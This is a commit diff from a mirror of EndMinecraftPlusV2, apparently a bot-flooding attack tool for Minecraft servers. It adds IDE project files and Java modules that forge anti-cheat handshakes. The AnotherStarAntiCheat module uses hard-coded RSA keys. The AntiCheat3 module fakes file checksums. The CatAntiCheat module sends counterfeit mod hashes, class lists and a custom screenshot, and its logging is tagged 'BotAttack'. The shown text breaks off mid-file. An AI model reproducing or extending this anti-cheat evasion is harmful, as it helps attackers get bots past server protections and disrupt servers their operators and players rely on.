mirror of
https://github.com/SerendipityR-2022/EndMinecraftPlusV2.git
synced 2024-09-07 17:33:18 +00:00
重构完成!新版本发布~
This commit is contained in:
parent
d6134a2a82
commit
464ef39d3b
3
.idea/.gitignore
vendored
Normal file
3
.idea/.gitignore
vendored
Normal file
@ -0,0 +1,3 @@
|
||||
# 默认忽略的文件
|
||||
/shelf/
|
||||
/workspace.xml
|
1
.idea/.name
Normal file
1
.idea/.name
Normal file
@ -0,0 +1 @@
|
||||
EndMinecraftPlusV2
|
27
.idea/artifacts/EndMinecraftPlusV2_jar.xml
Normal file
27
.idea/artifacts/EndMinecraftPlusV2_jar.xml
Normal file
@ -0,0 +1,27 @@
|
||||
<component name="ArtifactManager">
|
||||
<artifact type="jar" name="EndMinecraftPlusV2:jar">
|
||||
<output-path>$PROJECT_DIR$/out/artifacts/EndMinecraftPlusV2_jar</output-path>
|
||||
<root id="archive" name="EndMinecraftPlusV2.jar">
|
||||
<element id="module-output" name="AdvanceModule" />
|
||||
<element id="module-output" name="Tools" />
|
||||
<element id="module-output" name="VersionSupport-P1_8_X" />
|
||||
<element id="module-output" name="VersionFactory" />
|
||||
<element id="module-output" name="Main" />
|
||||
<element id="module-output" name="VersionSupport-P1_7_X" />
|
||||
<element id="extracted-dir" path="$PROJECT_DIR$/libs/bukkitYaml-0.1-pre-jar-with-dependencies.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$PROJECT_DIR$/libs/jna-5.12.1.jar" path-in-jar="/" />
|
||||
<element id="module-output" name="VersionSupport-P1_9_X-1_12_1" />
|
||||
<element id="module-output" name="VersionSupport-P1_12_2" />
|
||||
<element id="module-output" name="VersionSupport-P1_13_X" />
|
||||
<element id="module-output" name="VersionSupport-P1_14_X" />
|
||||
<element id="module-output" name="VersionSupport-P1_15_X" />
|
||||
<element id="module-output" name="VersionSupport-P1_16_X" />
|
||||
<element id="module-output" name="VersionSupport-P1_17_X" />
|
||||
<element id="module-output" name="VersionSupport-P1_18_X" />
|
||||
<element id="module-output" name="VersionSupport-P1_19" />
|
||||
<element id="module-output" name="VersionSupport-P1_19_1_1_19_2" />
|
||||
<element id="module-output" name="VersionSupport-P1_19_3_1_20_1" />
|
||||
<element id="module-output" name="VersionSupport-P1_20_X" />
|
||||
</root>
|
||||
</artifact>
|
||||
</component>
|
6
.idea/misc.xml
Normal file
6
.idea/misc.xml
Normal file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectRootManager" version="2" languageLevel="JDK_1_8" default="true" project-jdk-name="temurin-1.8" project-jdk-type="JavaSDK">
|
||||
<output url="file://$PROJECT_DIR$/out" />
|
||||
</component>
|
||||
</project>
|
25
.idea/modules.xml
Normal file
25
.idea/modules.xml
Normal file
@ -0,0 +1,25 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectModuleManager">
|
||||
<modules>
|
||||
<module fileurl="file://$PROJECT_DIR$/AdvanceModule/AdvanceModule.iml" filepath="$PROJECT_DIR$/AdvanceModule/AdvanceModule.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/Main/Main.iml" filepath="$PROJECT_DIR$/Main/Main.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/Tools/Tools.iml" filepath="$PROJECT_DIR$/Tools/Tools.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionFactory/VersionFactory.iml" filepath="$PROJECT_DIR$/VersionFactory/VersionFactory.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_12_2/VersionSupport-P1_12_2.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_12_2/VersionSupport-P1_12_2.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_13_X/VersionSupport-P1_13_X.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_13_X/VersionSupport-P1_13_X.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_14_X/VersionSupport-P1_14_X.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_14_X/VersionSupport-P1_14_X.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_15_X/VersionSupport-P1_15_X.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_15_X/VersionSupport-P1_15_X.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_16_X/VersionSupport-P1_16_X.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_16_X/VersionSupport-P1_16_X.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_17_X/VersionSupport-P1_17_X.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_17_X/VersionSupport-P1_17_X.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_18_X/VersionSupport-P1_18_X.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_18_X/VersionSupport-P1_18_X.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_19/VersionSupport-P1_19.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_19/VersionSupport-P1_19.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_19_1_1_19_2/VersionSupport-P1_19_1_1_19_2.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_19_1_1_19_2/VersionSupport-P1_19_1_1_19_2.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_19_3_1_20_1/VersionSupport-P1_19_3_1_20_1.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_19_3_1_20_1/VersionSupport-P1_19_3_1_20_1.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_20_X/VersionSupport-P1_20_X.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_20_X/VersionSupport-P1_20_X.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_7_X/VersionSupport-P1_7_X/VersionSupport-P1_7_X.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_7_X/VersionSupport-P1_7_X/VersionSupport-P1_7_X.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_8_X/VersionSupport-P1_8_X.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_8_X/VersionSupport-P1_8_X.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/VersionSupport-P1_9_X-1_12_1/VersionSupport-P1_9_X-1_12_1.iml" filepath="$PROJECT_DIR$/VersionSupport-P1_9_X-1_12_1/VersionSupport-P1_9_X-1_12_1.iml" />
|
||||
</modules>
|
||||
</component>
|
||||
</project>
|
124
.idea/uiDesigner.xml
Normal file
124
.idea/uiDesigner.xml
Normal file
@ -0,0 +1,124 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="Palette2">
|
||||
<group name="Swing">
|
||||
<item class="com.intellij.uiDesigner.HSpacer" tooltip-text="Horizontal Spacer" icon="/com/intellij/uiDesigner/icons/hspacer.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="1" hsize-policy="6" anchor="0" fill="1" />
|
||||
</item>
|
||||
<item class="com.intellij.uiDesigner.VSpacer" tooltip-text="Vertical Spacer" icon="/com/intellij/uiDesigner/icons/vspacer.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="1" anchor="0" fill="2" />
|
||||
</item>
|
||||
<item class="javax.swing.JPanel" icon="/com/intellij/uiDesigner/icons/panel.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3" />
|
||||
</item>
|
||||
<item class="javax.swing.JScrollPane" icon="/com/intellij/uiDesigner/icons/scrollPane.svg" removable="false" auto-create-binding="false" can-attach-label="true">
|
||||
<default-constraints vsize-policy="7" hsize-policy="7" anchor="0" fill="3" />
|
||||
</item>
|
||||
<item class="javax.swing.JButton" icon="/com/intellij/uiDesigner/icons/button.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="3" anchor="0" fill="1" />
|
||||
<initial-values>
|
||||
<property name="text" value="Button" />
|
||||
</initial-values>
|
||||
</item>
|
||||
<item class="javax.swing.JRadioButton" icon="/com/intellij/uiDesigner/icons/radioButton.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
|
||||
<initial-values>
|
||||
<property name="text" value="RadioButton" />
|
||||
</initial-values>
|
||||
</item>
|
||||
<item class="javax.swing.JCheckBox" icon="/com/intellij/uiDesigner/icons/checkBox.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
|
||||
<initial-values>
|
||||
<property name="text" value="CheckBox" />
|
||||
</initial-values>
|
||||
</item>
|
||||
<item class="javax.swing.JLabel" icon="/com/intellij/uiDesigner/icons/label.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="0" anchor="8" fill="0" />
|
||||
<initial-values>
|
||||
<property name="text" value="Label" />
|
||||
</initial-values>
|
||||
</item>
|
||||
<item class="javax.swing.JTextField" icon="/com/intellij/uiDesigner/icons/textField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
|
||||
<preferred-size width="150" height="-1" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JPasswordField" icon="/com/intellij/uiDesigner/icons/passwordField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
|
||||
<preferred-size width="150" height="-1" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JFormattedTextField" icon="/com/intellij/uiDesigner/icons/formattedTextField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
|
||||
<preferred-size width="150" height="-1" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JTextArea" icon="/com/intellij/uiDesigner/icons/textArea.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JTextPane" icon="/com/intellij/uiDesigner/icons/textPane.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JEditorPane" icon="/com/intellij/uiDesigner/icons/editorPane.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JComboBox" icon="/com/intellij/uiDesigner/icons/comboBox.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="0" hsize-policy="2" anchor="8" fill="1" />
|
||||
</item>
|
||||
<item class="javax.swing.JTable" icon="/com/intellij/uiDesigner/icons/table.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JList" icon="/com/intellij/uiDesigner/icons/list.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="2" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JTree" icon="/com/intellij/uiDesigner/icons/tree.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JTabbedPane" icon="/com/intellij/uiDesigner/icons/tabbedPane.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
|
||||
<preferred-size width="200" height="200" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JSplitPane" icon="/com/intellij/uiDesigner/icons/splitPane.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
|
||||
<preferred-size width="200" height="200" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JSpinner" icon="/com/intellij/uiDesigner/icons/spinner.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
|
||||
</item>
|
||||
<item class="javax.swing.JSlider" icon="/com/intellij/uiDesigner/icons/slider.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
|
||||
</item>
|
||||
<item class="javax.swing.JSeparator" icon="/com/intellij/uiDesigner/icons/separator.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3" />
|
||||
</item>
|
||||
<item class="javax.swing.JProgressBar" icon="/com/intellij/uiDesigner/icons/progressbar.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1" />
|
||||
</item>
|
||||
<item class="javax.swing.JToolBar" icon="/com/intellij/uiDesigner/icons/toolbar.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1">
|
||||
<preferred-size width="-1" height="20" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JToolBar$Separator" icon="/com/intellij/uiDesigner/icons/toolbarSeparator.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="0" anchor="0" fill="1" />
|
||||
</item>
|
||||
<item class="javax.swing.JScrollBar" icon="/com/intellij/uiDesigner/icons/scrollbar.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="0" anchor="0" fill="2" />
|
||||
</item>
|
||||
</group>
|
||||
</component>
|
||||
</project>
|
39
AdvanceModule/AdvanceModule.iml
Normal file
39
AdvanceModule/AdvanceModule.iml
Normal file
@ -0,0 +1,39 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MC-1.8.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MC-1.13.2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/javassist-3.22.0-CR2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,103 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol;
|
||||
|
||||
import io.netty.buffer.ByteBuf;
|
||||
import io.netty.buffer.ByteBufInputStream;
|
||||
import io.netty.buffer.ByteBufOutputStream;
|
||||
import io.netty.buffer.Unpooled;
|
||||
import org.spacehq.opennbt.NBTIO;
|
||||
import org.spacehq.opennbt.tag.builtin.ByteArrayTag;
|
||||
import org.spacehq.opennbt.tag.builtin.CompoundTag;
|
||||
import org.spacehq.opennbt.tag.builtin.ListTag;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.math.BigInteger;
|
||||
import java.security.KeyFactory;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.spec.RSAPrivateKeySpec;
|
||||
import java.security.spec.RSAPublicKeySpec;
|
||||
import java.util.HashSet;
|
||||
|
||||
public class AnotherStarAntiCheat {
|
||||
private final RSAPublicKeySpec clientPublicKey;
|
||||
private final RSAPrivateKeySpec clientPrivateKey;
|
||||
private final RSAPrivateKeySpec serverPrivateKey;
|
||||
private final Cipher clientPublicCipher;
|
||||
private final Cipher clientPrivateCipher;
|
||||
|
||||
{
|
||||
clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537"));
|
||||
clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633"));
|
||||
serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153"));
|
||||
|
||||
try {
|
||||
(clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey));
|
||||
(clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey));
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
private void ctsEncode(ByteBuf buf, byte[][] md5s) {
|
||||
try {
|
||||
CompoundTag nbt = new CompoundTag("");
|
||||
ListTag strList = new ListTag("md5s", ByteArrayTag.class);
|
||||
for (final byte[] md5 : md5s) {
|
||||
strList.add(new ByteArrayTag("", md5));
|
||||
}
|
||||
nbt.put(strList);
|
||||
NBTIO.writeTag(new DataOutputStream(new ByteBufOutputStream(buf)), nbt);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] stcDecode(ByteBuf buf) {
|
||||
try {
|
||||
CompoundTag nbt = (CompoundTag) NBTIO.readTag(new DataInputStream(new ByteBufInputStream(buf)));
|
||||
return ((ByteArrayTag) nbt.get("salt")).getValue();
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] encodeCPacket(String[] md5s, String salt) {
|
||||
try {
|
||||
HashSet<byte[]> rsaMd5s = new HashSet<byte[]>();
|
||||
for (String md5 : md5s) {
|
||||
rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes()));
|
||||
}
|
||||
|
||||
ByteBuf buf = Unpooled.buffer();
|
||||
buf.writeByte(1); // packet id
|
||||
ctsEncode(buf, rsaMd5s.toArray(new byte[0][]));
|
||||
return buf.array();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public String decodeSPacket(byte[] data) {
|
||||
try {
|
||||
ByteBuf buf = Unpooled.copiedBuffer(data);
|
||||
buf.readByte(); // packet id
|
||||
return new String(clientPrivateCipher.doFinal(stcDecode(buf)));
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public String md5(String str) {
|
||||
try {
|
||||
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||
md.update(str.getBytes());
|
||||
byte[] digest = md.digest();
|
||||
return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
|
||||
} catch (NoSuchAlgorithmException e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,81 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol;
|
||||
|
||||
import java.io.*;
|
||||
import java.math.BigInteger;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
public class AntiCheat3 {
|
||||
|
||||
public byte[] getCheckData(String acFile, String code, String[] md5List) {
|
||||
try {
|
||||
byte[] buf1 = code.substring(0, 30).getBytes();
|
||||
|
||||
FileInputStream in = new FileInputStream(new File("lib", acFile));
|
||||
byte[] buf2 = new byte[in.available()];
|
||||
in.read(buf2);
|
||||
|
||||
byte[] buf3 = new byte[buf1.length + buf2.length];
|
||||
System.arraycopy(buf1, 0, buf3, 0, buf1.length);
|
||||
System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length);
|
||||
|
||||
try {
|
||||
in.close();
|
||||
} catch (IOException e2) {
|
||||
}
|
||||
|
||||
String result = "";
|
||||
if (md5List != null) {
|
||||
for (String md5 : md5List) {
|
||||
result += md5 + ",";
|
||||
}
|
||||
}
|
||||
result += md5(buf3);
|
||||
return compress(result);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] compress(String str) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPOutputStream gzip;
|
||||
try {
|
||||
gzip = new GZIPOutputStream(out);
|
||||
gzip.write(str.getBytes());
|
||||
gzip.close();
|
||||
} catch (IOException e) {
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public String uncompress(byte[] data) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(data);
|
||||
try {
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} catch (IOException e) {
|
||||
}
|
||||
|
||||
return new String(out.toByteArray());
|
||||
}
|
||||
|
||||
public String md5(byte[] buf) {
|
||||
try {
|
||||
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||
md.update(buf);
|
||||
byte[] digest = md.digest();
|
||||
return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
|
||||
} catch (NoSuchAlgorithmException e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,221 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.CatAntiCheat;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||
|
||||
import javax.imageio.ImageIO;
|
||||
import java.awt.image.BufferedImage;
|
||||
import java.io.*;
|
||||
import java.math.BigInteger;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.nio.file.Files;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
public class CatAntiCheat {
|
||||
public static HashMap<Session, Byte> saltMap = new HashMap<>();
|
||||
|
||||
public static void packetHandle(Session session, byte[] data, String username) {
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
byte receivedPacketID = data[0];
|
||||
|
||||
byte sendPacketID;
|
||||
byte clientVersion;
|
||||
|
||||
switch (receivedPacketID) {
|
||||
case 0:
|
||||
// Hello packet reply
|
||||
byte salt = data[1];
|
||||
saltMap.put(session, salt);
|
||||
sendPacketID = 4;
|
||||
clientVersion = 2;
|
||||
|
||||
try {
|
||||
out.writeBytes(new byte[]{sendPacketID, 0, clientVersion, salt});
|
||||
// LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
|
||||
session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
|
||||
} catch (IOException ignored) {}
|
||||
break;
|
||||
case 1:
|
||||
// File Check packet reply
|
||||
sendPacketID = 5;
|
||||
|
||||
File loadedFiles = ConfigUtil.CACLoadedMods;
|
||||
List<String> fileHashList = getFileHashList(loadedFiles);
|
||||
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
|
||||
try {
|
||||
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outputStream);
|
||||
gzipOutputStream.write(saltMap.get(session));
|
||||
|
||||
BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(gzipOutputStream, StandardCharsets.UTF_8));
|
||||
for (int i = 0; i < fileHashList.size(); i++) {
|
||||
if (i > 0) writer.newLine();
|
||||
writer.write(fileHashList.get(i));
|
||||
}
|
||||
writer.flush();
|
||||
writer.close();
|
||||
|
||||
byte[] gzipData = outputStream.toByteArray();
|
||||
|
||||
out.writeByte(sendPacketID);
|
||||
out.writeShort(gzipData.length);
|
||||
out.writeBytes(gzipData);
|
||||
out.writeInt(Arrays.hashCode(gzipData));
|
||||
|
||||
// LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
|
||||
LogUtil.doLog(0, "[CatAntiCheat] [" + username + "] 已发送FileCheck数据。", "BotAttack");
|
||||
session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
|
||||
} catch (IOException e) {
|
||||
LogUtil.doLog(1, "[CatAntiCheat] [" + username + "] 发送FileCheck数据时发生错误。", "BotAttack");
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
// Class Check packet reply
|
||||
sendPacketID = 6;
|
||||
|
||||
List<String> foundClassList = ConfigUtil.CACLoadedClass;
|
||||
|
||||
try {
|
||||
out.writeByte(sendPacketID);
|
||||
out.writeShort(foundClassList.size());
|
||||
|
||||
for (String s:foundClassList) {
|
||||
writeUTF8String(out, s);
|
||||
}
|
||||
|
||||
out.writeByte(saltMap.get(session));
|
||||
|
||||
// LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
|
||||
LogUtil.doLog(0, "[CatAntiCheat] [" + username + "] 已发送ClassCheck数据。", "BotAttack");
|
||||
session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
|
||||
} catch (IOException e) {
|
||||
LogUtil.doLog(1, "[CatAntiCheat] [" + username + "] 发送ClassCheck数据时发生错误。", "BotAttack");
|
||||
}
|
||||
// break;
|
||||
case 3:
|
||||
// Screenshot packet reply
|
||||
sendPacketID = 8;
|
||||
try {
|
||||
File imageFile = ConfigUtil.CACCustomScreenShot;
|
||||
byte[] imageData = getImageData(imageFile);
|
||||
out.writeByte(sendPacketID);
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(imageData);
|
||||
byte[] networkData = new byte[32763];
|
||||
int size;
|
||||
while ((size = in.read(networkData)) >= 0) {
|
||||
ByteArrayOutputStream incomingData = new ByteArrayOutputStream();
|
||||
StreamNetOutput streamNetOutput = new StreamNetOutput(incomingData);
|
||||
|
||||
streamNetOutput.writeByte(sendPacketID);
|
||||
streamNetOutput.writeBoolean(in.available() == 0);
|
||||
|
||||
if (networkData.length == size) {
|
||||
streamNetOutput.writeBytes(networkData);
|
||||
} else {
|
||||
streamNetOutput.writeBytes(Arrays.copyOf(networkData, size));
|
||||
}
|
||||
|
||||
session.send(new ClientPluginMessagePacket("CatAntiCheat", incomingData.toByteArray()));
|
||||
